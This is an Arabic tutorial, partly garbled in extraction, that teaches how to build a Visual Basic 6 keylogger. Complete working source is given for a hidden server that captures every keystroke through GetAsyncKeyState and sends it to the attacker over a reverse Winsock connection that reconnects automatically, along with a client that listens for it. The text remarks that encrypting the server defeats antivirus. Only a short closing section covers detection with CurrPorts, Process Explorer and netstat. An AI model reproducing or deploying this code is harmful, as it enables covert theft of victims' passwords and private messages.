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 ]لوجر والحمایة منھالكیبرمجة [

بسم االله والصلاة والسلام على رسول االله ، الحمد الله الذي أعانني على إتمام الموضوع ، الذي یضم بین ثنایاه أفكار تتحاكى مع البرمجة 
 ، وأنني برئ الحمایة فقطضوع لابد وأن أنوّه بأن الھدف منھ ھوالكائنیة ، باسالیب تلامستھا أیدي الھكرز ، ولكن قبل أن أبدأ بشرح المو

  .ممن یستخدمون ھذه الطرق في اختراق المسلمین ، والاعتداء على خصوصیاتھم 

  

  ! ماھو الكیلوجر ؟؟

لشخصیة ھو عبارة عن برنامج یستخدمھ المخترقون للتجسس على كل مایكتبھ المستخدمون من ایمیلات وباسوردات وبعض المعلومات ا
  .وارسالھا الى المخترق وبالتالي اختراق الایمیل ، بل ومعرفة المعلومات الخاصة والحساسة

وبأكثر من طریقة على حسب قدرتك في التعامل مع لغات البرمجة ...) الدلفي ، الفیجول ، الجافا (قد یصمم الكیلوجر بأكثر من لغة مثل 
 كونھا لغة سھلة ومفھمومة بشكل عام للجمیع ، علینا تركیب ؛ ٦الفیجول بیسك استخدام وفھمھا ،على أیة حال  سنكتب أسطر البرنامج ب

، صحیح كلاھما یختلف قلیلا من حیث سھولة وعدد أسطر البرمجة ولكن كلاھما نفس المبدأ  فیجول بیسك دوت نت او ٦الفیجول بیسك 
  . ٦فیجول بیسك ، وسیكون الشرح على 

 ، واسم ھذه  OCX  التي تحمل الامتداد ActiveXیجول ، وجدت آداة رائعة اي بمعني آخر آداة من أدوات  لقد كنت أتنقل في حنایا الف
نقل الملفات بین ( وھذه الآداة مسؤولة عن عمل اتصال بین أجھزة الكمبیوتر لعملیات مختلفة ومثال على ذلك  ocx .Winsock الآداة ھو

)  كلینت-سیرفر(طبعا كل ھذه العملیات تتكون من طرفین ) كثیر من التطبیقات الرائعة جھازین وعمل شات بین جھازین أو اكثر ، وال
  .  سنتعرف علیھ لاحقا وھذا ما

تستطیع بكل سھولة وبأسطر سلسلة أن تصمم أقوى البرامج !  كبرنامج ادارة المقاھي ؟! ھل سبق وأن شاھدت برنامج یربط الأجھزة معا 
  .بشكل عام ) Socket(داة السابقة او باستخدام مبدأ السوكیت لادارة المقاھي ، باستخدام الآ

  

  ارفاق آداة الوینسوك الى صندوق الأدوات 

، لكن بموضوعي سأتحدث عنھا بشكل تفصیلي حتى یستفید الجمیع ، فلا تدري لعلھم یصبحوا من عشاق ھذه !الكل یعرف الفیجول بیسك 
سوف تكون حیز العمل الخاص بنا  )Form1(المشروع بالفیجول بیسك ، والواجھة ، وھذه صورة فیھا واجھة ..البرمجیة الرائعة 

  )١-١(الشكل



 

  

  )١-١(الشكل 

   !!!L غیر موجودة Winsock ستجد صندوق الأدوات ، ولكن للأسف الآداة ) ١-١(فلنبدأ بالعمل ؛ أنظر الي الجھة الیسرى من الشكل 

ل الذي یطرح نفسھ كیف سنجلبھا الى المشروع لنتمكن من استخدامھا والاستفادة من  ، فالسؤاActiveX بقیت في عالم آخر وھو الــ 
أنقر برقّة على صندوق الأدوات بالزر وجائت ھذه الأسطر لتتحدث عن الجواب ومعھا الصور التي توضح ذلك ؛ !! خصائصھا ؟؟

 .ح الطریقةیوض) ٢-١( من الخیارات ، و الشكل عةالأیسر ، لتظھر لك قائمة تحوي على مجمو

  

  

  
  )٢-١(الشكل 

  



 

  Browser ننقر على  Winsock ، لجلب آداة الــ  Componentes ، بعدھا سیظھر لك صندوق .. Componentsومن ثم نختار  
  )٣-١(الموجودة في أسفل الصندوق ونختار الآداة لتصبح جزءا من صندوق الأدوات ، وھذا مایوضحھ الشكل 

  

  

  

  )٣-١(الشكل 

لیك الا اتباع ، فماع وتضمَھا الى صندوق الأدوات Winsockي الشكل السابق تسلسلت الخطوات لتعطینا الآداة الرائعة الــ وكما ترى ف
  . الآداة وھكذا نكون قد انتھینا من جلب^_^  صندوق الادوات الخطوات السابقة  لاضافتھا الى

  تصمیم البرنامج

  )Client(العمیل  ، والقسم الآخر مھتم ببرمجة  )Server( الخادم جة سنقسم الدرس الى قسمین القسم الأول مھتم ببرم

الخادم ھو البرنامج !!  لكن قبل أن نبدأ ببرمجة الخادم ، ھل سألت نفسك ماھو الخادم ؟؟  :)Server(الخادم  : القسم الأول  -١
   .لضحیةجھاز اویخدم الھكرز في الحصول على المعلومات من ) الضحیة(الموجود بالجھاز الھدف 

  
  :خطوات تجھیز الخادم 

 ، ولعلي ذكرت ھذه الخطوات في سطر واحد ، Both الى  Scrollbars وتغیرالــ  Multiline وتغیر خاصیتھ الى  text1نقوم بادراج 
  .، لترى سھولتھا ) ٤-١(لكن وضعت صورة موضحة بالشكل 

  
  

  



 

   

  

  )٤-١(الشكل 

ونضیف  الوینسوك وآداة  Timer1ھا لتتلائم مع طبیعة برنامجنا ، سنضع الآن الــ  وتغیر خصائص text1بعد أن تم ادراج الــ 
Label1 ٥-١( وھذا مایوضحھ الشكل.(  

  

  )٥-١(الشكل 

 وبھذا نكون قد انتھینا من تجھیز الأدوات  )form1(؛ فقط ضفنا الأدوات المطلوبة الى حیز العمل  أعتقد أن الأمور في غایة السھولة
  .)Client(الذي یخدم الھكرز بارسال المعلومات الى العمیل ) Server(وننتقل الآن الى برمجة الخادم بشكل كامل ، 

  :حالات الوینسوك 



 

  !!!ماھي حالات الوینسوك ؟

  القیمة  الحالة
  ٠  اتصال مغلق
  ١  اتصال مفتوح

  ٢  جاري انتظار الاتصال
  ٣  الاتصال معلق

  ٤  الطرف الآخر یعالج البیانات
  ٥  خر أنھى معالجة البیاناتالطرق الآ

  ٦  جاري الاتصال الآن
  ٧  متصل

  ٨  الطرق الآخر قطع الاتصال
  ٩  خطأ

  

  بعض المعلومات عن الوینسوك 

 

Local IP   :  یعطیك رقم الآیبي المحلي 

Local Port :  تعطیك رقم البورت المحلي 

Remote Host : تعطیك رقم الآیبي للجھاز الھدف 

Remote Port : تعطیك رقم البورت في الجھاز الھدف 

 

    : )Server(برمجة الخادم 

  

 البرمجیة ، لابد وان نتعرف الى أن الاتصال بین السیرفر والكلینت یتم عن بواسطة طلب الاتصال ومن ثم الأكوادسنرتقي لنكتب 
  .الموافقة علیھ وبعدھا یتم تبادل البیانات

، Formالـ الخاصة بلكثیر من العناء ، فقط أنقرعلى الفورم مرتین لتظھر صفحة كتابة الاكواد أولا سنبدأ بطلب الاتصال ، لن یحتاج الى ا
  .توضح الطریقة ) ٦-١(ومن ثم ستكتب السطریین التالیین والصورة 



 

  

  )٦-١(الشكل 

  

  توضیح الكود السابق 

  

  

  

  

  

 طلب سیرسل السیرفر، وبالتالي )الھكر(جھاز العمیل كما نعرف أننا نبرمج السیرفر وبالتالي سیتم الاتصال من جھاز الضحیة الى 
، او بمعنى آخر اتصال عكسي من جھاز الضحیة الى جھاز الھكر ، وھذا ما ) الھكر(جھاز العمیل  الى جھاز الضحیةبالاتصال من 

  .حدث في السطرین السابقین 

  

Close.1Winsock :  لارسال الطلبأغلقت أي اتصال سابق وتھیئت. 

 ”1234”,”127.0.0.1Connect “.1Winsock  :وعلى البورت ١٢٧٫٠٫٠٫١ وھو) الھكر( العمیل ارسال طلب الاتصال الى آیبي 
 الذي سیكون الاتصال عن  المحلي وكذلك البورت)الھكر(العمیل  ھو آیبي جھازك اذا كنت انت ١٢٧٫٠٫٠٫١ ؛ فالمقصود بــ ١٢٣٤
  .طریقھ

  ) .الھكر( للاتصال مع الجھاز العمیل فأي ضحیة سیشغل الملف سیرسل السیرفر طلب

Private Sub Form_Load() 

Winsock1.Close 

Winsock1.Connect "127.0.0.1", "1234" 

End Sub 



 

  !!!لكن ھل سألت نفسك ھذا السؤال ؛ ماذا لو حدث خلل في الاتصال ھل سیعود السیرفر ویطلب الاتصال مرة أخرى ؟؟؟

  Timer2، لذلك یوجد طریقة لجعلھ یطلب الاتصال بشكل مستمر في حال حدوث أي خطأ في الاتصال ؛ وذلك باستخدام Lطبعا لا 
 ونكتب الاكواد الموضحة ١لھ تساوي   interval ونجعل الــ  Timer2، لذلك ندرج " طلب الاتصال بشكل دوري"ھتم بعملیة آخر ی

  )٧-١(بالشكل 

  

  

  )٧-١(الشكل 

  توضیح الكود الموجود بالصورة 

  

  

  

  

  

  

  

سیقوم ) ؛ حدث أي خطأ ٩الوینسوك تساوي (او كانت حالة   ) ؛ الطرف الآخر قطع الاتصال٨حالة الوینسوك (وھذا یعني انھ اذا كانت 
 .وبورتھ ) الھكر(باعادة ارسال طلب الاتصال من جدید ، على آیبي العمیل  Timerالـ 

  

Private Sub Timer2_Timer() 

If Winsock1.State = 8 Or Winsock1.State = 9 Then 

Winsock1.Close 

Winsock1.Connect "127.0.0.1", "1234" 

End If 

End Sub 



 

إن اي اتصال في العالم بحاجة الى موافقھ من كلا الطرفین ، وكذلك آداة الوینسوك یجب ان تتم الموافقھ من الخادم والعمیل على الاتصال 
  ).٨-١( تكون بكتابة الأكواد كما ھو موضح بالصورة  Serverالــلموافقھ من الذي بینھما وا

  

  

  )٨-١(الشكل 

  شرح الكود السابق 

  

  

  

  

  

  

Close.1Winsock   :تستخدم لاغلاق الاتصال السابق ، یعني أي اتصال سابق تلغیھ لتتھیأ بقبول الاتصال الجدید.  

requestedAccept .1Winsock:  تستخدم لقبول الاتصال الجدید ، و  RequestID ھو رقم قبول الاتصال .  

 ستتم )Client(للعمیل  ، وبالنسبة فقط جھة الخادمبعد كتابة  الكود ، اي اتصال سیحدث بین الخادم والعمیل ستتم الموافقھ علیھ من 
  . على الاتصال )Accept( لیوافقبرمجتھ في وقت لاحق 

  

  

  

  

Private Sub Winsock1_Connec onRequest(ByVal requestID As Long) 

Winsock1.Close   

Winsock1.Accept requestID 

End Sub 



 

  !ر یرسل البیانات الى العمیل ؟ او كیف یرسل السیرفر مایكتبھ الضحیة الى العمیل ؟؟كیف تجعل السیرف

  )٩-١( واكتب فیھ الكود الموجود بالشكل   Timer1دعونا نكتب الكود الذي یسجل كل مایكتبھ الضحیة ، انقر على الــ 

  

  

 )٩-١(الشكل 

  :توضیح الكود السابق 

  

 

 

  

  

  

  

  

 

  

  

 

  

Private Sub Timer1_Timer() 

On Error Resume Next 

Dim result As Integer 

Dim i As Integer 

For i = 1 To 255 

result = 0 

result = GetAsyncKeyState(i) 

If result = -32767 Then 

Text1.Text = Text1.Text & Chr(i) 

Winsock1.SendData  Chr(i) 

End If 

Next i 

End sub 



 

 On error resume next  :ھذا السطر یستخدم لتعدي الأخطاء  

  

As Integerresult Dim :  تعریف الــ  result ونوعھا  كقیمة integer صحیح عدد اي.  

As Integer i Dim:   تعریف الــi كقیمة ونوعھا  integer صحیح عدد اي. 

For i = 1 To 255 

result = 0 

result = GetAsyncKeyState(i) 

If result = -32767 Then 

Text1.Text = Text1.Text & Chr(i)  

Winsock1.SendData  Chr(i)  

End If 

Next i 

  . في كل مرة text1 وبالتالي أخذ قیمتھا كحروف ومن ثم اضافتھا الىASCII واعادتھا في الرموز  ٢٥٥ الى ١طبعا أخذ قیمة من 

  ).الھكر(لعمیل یقوم بارسال كل حرف الى ا  :SendData Chr.1Winsock)i (اما السطر 

  .وھكذا نكون انتھینا من الجزء الأول وھو السیرفر

  ویجب أن لاننسى وضع السطر التالي في التصریحات العامة

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer  

  )١٠-١( انظر الى الشكل Me.hideستخدام الأمر وأیضا لانرید أن یرى الضحیة ھذا البرنامج ، لذلك نخفیھ با

  

  )١٠-١(الشكل



 

  یبین كود السیرفر بشكل كامل) ١١- ١(والشكل 

  

  )١١-١(الشكل 

  

  

  

  

  

  

  

  

  



 

    : )Client(العمیل 

ومات لتحكم بالمعل و الارسال واستقبال البییانات) الھكر(المُختَرِق یستخدمھ الذي الملف  ھو :)Client(العمیل : القسم الثاني  -٢
  . جھاز الضحیةالتي یجلبھا من 

 ، وبكل )Accept(الاتصال  مع العمیل سیوافق العمیل على ھذا طلب الاتصال السیرفر یرسلوعندما  حالة الانصات یبقى في العمیل
  .بساطة ستصبح الموافقة من الطرفین من السیرفر ومن الكلینت 

  یبین ذلك) ١٢- ١(لبیانات من السیرفر وترسلھا ، والشكل  و آداة وینسوك لتستقبل ا text1نجھز العمیل بادراج 

  

  )١٢-١(الشكل 

 ، وھذا یعني أن الكلینت یجب ü سیرسل طلب الاتصالالأمور لیست معقدة ولكن بحاجة الى القلیل من التركیز ، كلنا یعرف ان السیرفر 
  .لبیاناتلموافقھ علیھ ومن ثم استقبال ااومن ثم  حالة انتظار الاتصالأن یكون في 

 

كما تكلمنا في الأسطر السابقة ، یجب أن یكون الكلینت في حالة انتظار الاتصال ، ویوجد كود لجعل آداة الوینسوك تكون في حالة 
  .یوضح ذلك ) 13-١(الاتصال ، والشكل 



 

  

  )١٣-١(الشكل 

  توضیح الكود

  

  

  

  

  

1234=LocalPort.1Winsock:  بجھاز  التنصت ھو البورت الذي ینتظر الاتصال  ، وبورت١٢٣٤ تحدید بورت التنصت وھو
  .الھكر

Listen  .1Winsock:  یستخدم ھذا السطرلانتظار الاتصال.  

انتھینا من برمجة عملیة الانتظار ، وستبقى الوینسوك الموجودة بالعمیل بحالة الانتظار حتى یردھا اتصال من السیرفر ، وعندھا سیتم 
  )١٤- ١(ت طبعا بمقدورك وضع الكود نفسة الموجود في السیرفر وھو موجود بالشكل الموافقة على الاتصال من الكلین

Private Sub Form_Load() 

Winsock1.LocalPort = 1234 

Winsock1.Listen 

End Sub 



 

  

  )١٤-١(الشكل 

  .سیقبل الوینسوك اتصال واحد فقطاذا برمجناھا بھذه الطریقة : ملاحظة 

  

  توضیح الكود 

  

  

  

  

 

  .أتوقع أن الكود لیس بحاجة للتوضیح ، فواجب ھذا الكود قبول الاتصال

 والكود التالي الموجود بالشكل  text1واضافتھا الى ) الأحرف التي یكتبھا الضحیة(كل ماعلینا ھو استقبال البیانات بعد قبول الاتصال 
  یوضح ھذه الأسطر) ١٥- ١(

Private Sub Winsock1_Connec onRequest(ByVal requestID As Long) 

Winsock1.Close 

Winsock1.Accept requestID 

End Sub 



 

  

  

  )١٥-١(الشكل 

 توضیح الكود

  

  

  

  

  

  

Dim data As String :  تعریف المتغیرdata 

 Winsock1.GetData data : جلب البیانات من السیرفر الى الكلینت

data& Text .1Text= Text .1Text :  1 اضافة الحروف التي كتبت في جھاز الضحیة الىtext.   

  

  الحمایة من الكیلوجر 

لقد صممنا برنامج یتجسس على لوحة المفاتیح ، وغیر مكشوف من أنظمة الحمایة ، وحتى لو كان مكشوفا فمن السھل على الھكر ان 
  !الھ الى الضحیة لتجاوز تلك الأنظمة ، فكیف نحمي أنفسنا منھ ؟؟یشفر السیرفر بطریقتھ وارس

حتى نحمي أنفسنا من البرامج وخاصة التي تعتمد على مبدأ السوكیت ، ماعلینا ھو مراقبة الاتصالات مع جھازك باستخدام بعض البرامج 
  . مع جھازك حیث سیعمل على عرض جمیع الاتصالات الخارجیة والداخلیة المتصلة CurrPortsمثل 

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 

Dim data As String 

Winsock1.GetData data 

Text1.Text = Text1.Text & data 

End Sub 



 

فلنفرض مثلا أن جھازك مخترق من كیلوجر ، فھذا یعني أن السیرفر بجھازك ، والسیرفر بحالتھ الطبیعیة یطلب الاتصال بشكل مستمر 
لیتصل مع الكلینت ، وكما تعلمنا سابقا أن السیرفر یتصل مع آیبي الھكر كون الاتصال عكسي ، ولنفترض أیضا أن آیبي الھكر ھو 

 )١٦- ١( انظر الى الشكل  Currport لكشف ھذا الاتصال باستخدام  ،١٢٧٫٠٫٠٫١

  

  

  )١٦-١(الشكل 

 وكذلك الآیبي 1234 و البورت المفتوح بجھاز الھكر او الذي اخترقك وھو  server.exeكما تلاحظ في الشكل السابق یوجد اسم الملف 
ني ان الكلینت متصل مع السیرفر ، وبكل بساطة تستطیع  وھذا یع Established ، وحالة الاتصال ھي ١٢٧٫٠٫٠٫١الخاص بھ وھو 

علما بانھ یوجد بعض السیرفرات تعود ) ١٧- ١( كما ھو موضح بالشكل Kill Processesالغاء ھذا الاتصال فقط بالنقر فوقھ واختیار 
  .وتشغل نفسھا مرة أخرى ، في ھذه الحالة نحتاج الى ازالتة من الریجیستري 

  

  )١٧-١(الشكل 

   لكشف عملیة الحقن في المتصفح او ماشابھ ، Process Explorer برامج الھاك یتم حقنھا بالمتصفح حینھا ستستخدم برنامج وبعض



 

   وھذا ماتوضحھ الصورة التالیةnetstateویمكن الكشف عن الكیلوجر باستخدام الدوس بكتابة الأمر 

  

)١٨-١(الشكل   

جر ، فھذه الطرق تجعلك على قدرة كاملة لاكتشاف الاتصالات الخارجیة المشبوكة مع یوجد الكثیر من الطرق التي تحمیك من الكیلو
جھازك ، لعلھا من أبسط الطرق ولكن لایعني أنھا الأسھل ، فیوجد الكثیر من الطرق الرائعة للكشف عن التلغیم  ، فبعد فھمك لمبدأ عمل 

. لدیك القدرة  الكاملة على حمایة جھازك باحترافالبرنامج وكسرك لحواجز أفكار برامج التجسس، أتوقع أنھ أصبح  

  :برامج للحمایة من الكیلوجر 

١-KeyScrambler   

٢-Zemana AntiLogger  
  

.أرجو أن أكون قد أفدت الجمیع مع أجمل تحیاتي  

 

 

 


